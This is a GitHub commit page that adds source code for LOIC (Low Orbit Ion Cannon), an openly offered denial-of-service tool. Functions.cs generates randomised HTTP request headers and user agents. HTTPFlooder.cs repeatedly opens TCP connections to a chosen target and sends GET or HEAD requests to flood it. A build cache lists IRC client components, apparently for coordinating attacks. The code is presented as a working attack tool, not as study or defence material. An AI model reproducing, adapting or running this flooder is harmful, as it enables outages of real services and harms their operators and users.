Skip to content

Commit

Permalink
Yay, LOIC
Browse files Browse the repository at this point in the history
  • Loading branch information
ilnarildarovuch committed Aug 31, 2024
0 parents commit 3b877b3
Show file tree
Hide file tree
Showing 101 changed files with 271,070 additions and 0 deletions.
85 changes: 85 additions & 0 deletions Functions.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,85 @@
/* LOIC - Low Orbit Ion Cannon
* Released to the public domain
* Enjoy getting v&, kids.
*/

using System;
using System.Text;

namespace LOIC
{
public static class Functions
{
private static readonly Random rnd = new Random(Guid.NewGuid().GetHashCode());
private static readonly String[] ntv = { "6.0", "6.1", "6.2", "6.3", "10.0" };

public static string RandomString(int length = 6)
{
StringBuilder builder = new StringBuilder();

lock (rnd)
{
char ch;
for (int i = 0; i < length; i++)
{
ch = Convert.ToChar(Convert.ToInt32(Math.Floor(26 * rnd.NextDouble() + 65)));
builder.Append(ch);
}
}

return builder.ToString();
}

public static int RandomInt(int min, int max)
{
lock (rnd)
{
return rnd.Next(min, max);
}
}

public static string RandomUserAgent()
{
lock (rnd)
{
if (rnd.NextDouble() >= 0.5)
{
return String.Format("Mozilla/5.0 (Windows NT {0}; WOW64; rv:{1}.0) Gecko/20100101 Firefox/{1}.0", ntv[rnd.Next(ntv.Length)], rnd.Next(36, 47));
}
else
{
return String.Format("Mozilla/5.0 (Windows NT {0}; rv:{1}.0) Gecko/20100101 Firefox/{1}.0", ntv[rnd.Next(ntv.Length)], rnd.Next(36, 47));
}
}
}

public static object RandomElement(object[] array)
{
if(array == null || array.Length < 1)
return null;

if(array.Length == 1)
return array[0];

lock (rnd)
{
return array[rnd.Next(array.Length)];
}
}

public static byte[] RandomHttpHeader(string method, string subsite, string host, bool subsite_random = false, bool gzip = false, int keep_alive = 0)
{
return Encoding.ASCII.GetBytes(String.Format("{0} {1}{2} HTTP/1.1{7}Host: {3}{7}User-Agent: {4}{7}Accept: */*{7}{5}{6}{7}", method, subsite, (subsite_random ? RandomString() : ""), host, RandomUserAgent(), (gzip ? "Accept-Encoding: gzip, deflate\r\n" : ""), (keep_alive > 0 ? String.Format("Keep-Alive: {0}\r\nConnection: keep-alive\r\n", keep_alive) : ""), "\r\n"));
}

public static bool ParseInt(string str, int min, int max, out int value)
{
bool res = int.TryParse(str, out value);

if (res && value >= min && value <= max)
return true;

return false;
}
}
}
130 changes: 130 additions & 0 deletions HTTPFlooder.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,130 @@
/* LOIC - Low Orbit Ion Cannon
* Released to the public domain
* Enjoy getting v&, kids.
*/

using System;
using System.ComponentModel;
using System.Net;
using System.Net.Sockets;
using System.Windows.Forms;

namespace LOIC
{
public class HTTPFlooder : cHLDos
{
private BackgroundWorker bw;
private Timer tTimepoll;
private bool intShowStats;
private long lastAction;

private readonly string Host;
private readonly string IP;
private readonly int Port;
private readonly string Subsite;
private readonly bool Resp;
private readonly bool Random;
private readonly bool UseGet;
private readonly bool AllowGzip;

public HTTPFlooder(string host, string ip, int port, string subSite, bool resp, int delay, int timeout, bool random, bool useget, bool gzip)
{
this.Host = (host == "") ? ip : host;
this.IP = ip;
this.Port = port;
this.Subsite = subSite;
this.Resp = resp;
this.Delay = delay;
this.Timeout = timeout * 1000;
this.Random = random;
this.UseGet = useget;
this.AllowGzip = gzip;
}
public override void Start()
{
this.IsFlooding = true;

lastAction = Tick();
tTimepoll = new Timer();
tTimepoll.Tick += tTimepoll_Tick;
tTimepoll.Start();

this.bw = new BackgroundWorker();
this.bw.DoWork += bw_DoWork;
this.bw.RunWorkerAsync();
this.bw.WorkerSupportsCancellation = true;
}
public override void Stop()
{
this.IsFlooding = false;
this.bw.CancelAsync();
}
private void tTimepoll_Tick(object sender, EventArgs e)
{
// Protect against race condition
if(intShowStats) return; intShowStats = true;

if(Tick() > lastAction + Timeout)
{
Failed++; State = ReqState.Failed;
tTimepoll.Stop();
if(this.IsFlooding)
tTimepoll.Start();
}

intShowStats = false;
}
private void bw_DoWork(object sender, DoWorkEventArgs e)
{
try
{
IPEndPoint RHost = new IPEndPoint(IPAddress.Parse(IP), Port);
while (this.IsFlooding)
{
State = ReqState.Ready; // SET STATE TO READY //
lastAction = Tick();
byte[] recvBuf = new byte[128];
using (Socket socket = new Socket(RHost.AddressFamily, SocketType.Stream, ProtocolType.Tcp))
{
socket.NoDelay = true;
State = ReqState.Connecting; // SET STATE TO CONNECTING //

try { socket.Connect(RHost); }
catch(SocketException) { goto _continue; }

byte[] buf = Functions.RandomHttpHeader((UseGet ? "GET" : "HEAD"), Subsite, Host, Random, AllowGzip);

socket.Blocking = Resp;
State = ReqState.Requesting; // SET STATE TO REQUESTING //

try
{
socket.Send(buf, SocketFlags.None);
State = ReqState.Downloading; Requested++; // SET STATE TO DOWNLOADING // REQUESTED++

if (Resp)
{
socket.ReceiveTimeout = Timeout;
socket.Receive(recvBuf, recvBuf.Length, SocketFlags.None);
}
}
catch(SocketException) { goto _continue; }
}
State = ReqState.Completed; Downloaded++; // SET STATE TO COMPLETED // DOWNLOADED++
tTimepoll.Stop();
tTimepoll.Start();
_continue:
if(Delay >= 0)
System.Threading.Thread.Sleep(Delay+1);
}
}
// Analysis disable once EmptyGeneralCatchClause
catch { }
finally { tTimepoll.Stop(); State = ReqState.Ready; this.IsFlooding = false; }
}
private static long Tick()
{
return DateTime.UtcNow.Ticks / 10000;
}
}
}
22 changes: 22 additions & 0 deletions IFlooder.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,22 @@
/* LOIC - Low Orbit Ion Cannon
* Released to the public domain
* Enjoy getting v&, kids.
*/

using System;

namespace LOIC
{
interface IFlooder
{
#region Properties
int Delay { get; set; }
bool IsFlooding { get; set; }
#endregion

#region Methods
void Start();
void Stop();
#endregion
}
}
1 change: 1 addition & 0 deletions IRC/.vs/IRC.csproj.dtbcache.json
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
{"RootPath":"C:\\Users\\user\\source\\repos\\LOIC\\src\\IRC","ProjectFileName":"IRC.csproj","Configuration":"Debug|AnyCPU","FrameworkPath":"","Sources":[{"SourceFile":"Client\\Channel.cs"},{"SourceFile":"Client\\ChannelUser.cs"},{"SourceFile":"Client\\Delegates.cs"},{"SourceFile":"Client\\EventArgs.cs"},{"SourceFile":"Client\\IrcClient.cs"},{"SourceFile":"Client\\IrcMessageData.cs"},{"SourceFile":"Client\\IrcUser.cs"},{"SourceFile":"Client\\NonRfcChannel.cs"},{"SourceFile":"Client\\NonRfcChannelUser.cs"},{"SourceFile":"Commands\\IrcCommands.cs"},{"SourceFile":"Commands\\Rfc2812.cs"},{"SourceFile":"Connection\\Delegates.cs"},{"SourceFile":"Connection\\EventArgs.cs"},{"SourceFile":"Connection\\IrcConnection.cs"},{"SourceFile":"Connection\\IrcProperties.cs"},{"SourceFile":"Connection\\IrcTcpClient.cs"},{"SourceFile":"Properties\\AssemblyInfo.cs"},{"SourceFile":"Consts.cs"},{"SourceFile":"EventArgs.cs"},{"SourceFile":"Exceptions.cs"},{"SourceFile":"Logger.cs"}],"References":[{"Reference":"C:\\Users\\user\\source\\repos\\LOIC\\src\\packages\\log4net.2.0.5\\lib\\net20-full\\log4net.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorlib.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\System.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""}],"Analyzers":[],"Outputs":[{"OutputItemFullPath":"C:\\Users\\user\\source\\repos\\LOIC\\src\\bin\\Debug\\IRC.dll","OutputItemRelativePath":"IRC.dll"},{"OutputItemFullPath":"","OutputItemRelativePath":""}],"CopyToOutputEntries":[]}
Loading

0 comments on commit 3b877b3

Please sign in to comment.